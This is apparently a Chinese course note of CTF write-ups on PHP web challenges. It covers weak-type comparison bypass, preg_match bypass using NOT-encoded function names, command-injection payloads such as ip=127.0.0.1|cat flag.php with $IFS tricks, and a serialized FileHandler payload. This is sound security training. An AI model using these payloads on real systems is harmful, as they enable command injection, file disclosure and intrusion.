CTF夺旗-PHP弱类型&异或取反&序列化&RCE
第84天:CTF夺旗-PHP弱类型%26异或取反%26序列化%26RCE - 图1
相关PHP所有总结知识点参考:https://www.cnblogs.com/iloveacm/category/1791836.html
1.0 1.ctf 变量1
2.0 2.php的弱类型比较问题
3.0 3.php断言(assert)
4.0 4.php读取目录下文件的方法
5.0 5.preg_match绕过
6.0 6.PHP中sha1()函数和md5()
1.0 异或注入
2.0 updatexml() 函数报错注入
3.0 源文件泄露利用
4.0 extract变量覆盖
5.0 strcmp()漏洞
6.0 md5()漏洞
7.0 ereg()截断漏洞
8.0 弱类型整数大小比较绕过
1.0 命令执行
2.0 md5()漏洞
3.0 escapeshellarg()与escapeshellcmd()
4.0 sql注入绕过关键字
5.0 preg_replace/e的命令执行漏洞
6.0 MYSQL特殊模式
7.0 PHP字符串解析特性
演示案例:

  • PHP-相关总结知识点-后期复现
  • PHP-弱类型对比绕过测试-常考点
  • PHP-正则Preg_match绕过-常考点
  • PHP-命令执行RCE变异绕过-常考点
  • PHP-反序列化考题分析构造复现-常考点

弱类型绕过对比总结
https://www.cnblogs.com/Mrsm1th/p/6745532.html
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
<?php
$num=$_GET[‘num’];
if(!is_numeric($num)){
echo $num;
if($num==1)
echo ‘flag{**}’;
}
?>
http://123.206.87.240:8002/get/index1.php
http://123.206.87.240:8002/get/index1.php?num=1x
http://123.206.87.240:8002/get/index1.php?num=1%0a

preg_match绕过-ctfhub-2020-第五空间智能安全大赛-Web-hate-php
https://www.cnblogs.com/v01cano/p/11736722.html
https://blog.csdn.net/qq_45521281/article/details/107589959
题目过滤:1.过滤相关关键字 2.过滤函数
方法1:异或
方法2:取反
方法3:数组
方法4:PCRE
方法5:换行符
…………
Payload:
<?php
echo urlencode(~’print_r’);
echo “\n”;
echo urlencode(~’scandir’);
echo “\n”;
echo urlencode(~’.’);
echo “\n”;
echo urlencode(~’highlight_file’);
echo “\n”;
echo urlencode(~’flag.php’);
?>
print_r(scandir(‘.’))
/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))
highlight_file(‘flag.php’)
?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

命令执行常见绕过:buuoj-GXYCTF2019 Ping Ping Ping
https://www.cnblogs.com/iloveacm/p/13687654.html
https://www.cnblogs.com/iloveacm/category/1791836.html
?ip=127.0.0.1
?ip=127.0.0.1|ls
?ip=127.0.0.1|cat flag.php
?ip=127.0.0.1|cat index.php
?ip=127.0.0.1|cat$IFSindex.php
?ip=127.0.0.1|cat$IFSindex.php
?ip=127.0.0.1|cat$IFS$1index.php
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

反序列化考点:网鼎杯2020-青龙组-Web-AreUSerialz
参考前面笔记:第37天:WEB漏洞-反序列化之PHP&JAVA全解(上)
发现Flag位置-反序列化考点-分析代码-构造代码生成Payload
第一步:传入str变量值,绕过相关过滤
第二步:str变量值=字符串格式,创建对象FileHandler
第三步:$op=2,$filename=flag.php,$content=xxx
第四步:构造Payload

<?php
class FileHandler{
public $op=2;//源码告诉我们op为1时候是执行写入为2时执行读
public $filename=”flag.php”;//文件开头调用的是flag.php
public $content=”xd”;//源码定义的三个变量值
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

?str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;s:1:”x”;}
涉及资源:
https://buuoj.cn/challenges
https://www.ctfhub.com/#/challenge
https://www.cnblogs.com/v01cano/p/11736722.html
https://www.cnblogs.com/iloveacm/p/13687654.html
https://www.cnblogs.com/iloveacm/category/1791836.html
https://www.cnblogs.com/iloveacm/category/1791836.html
https://blog.csdn.net/qq_45521281/article/details/107589959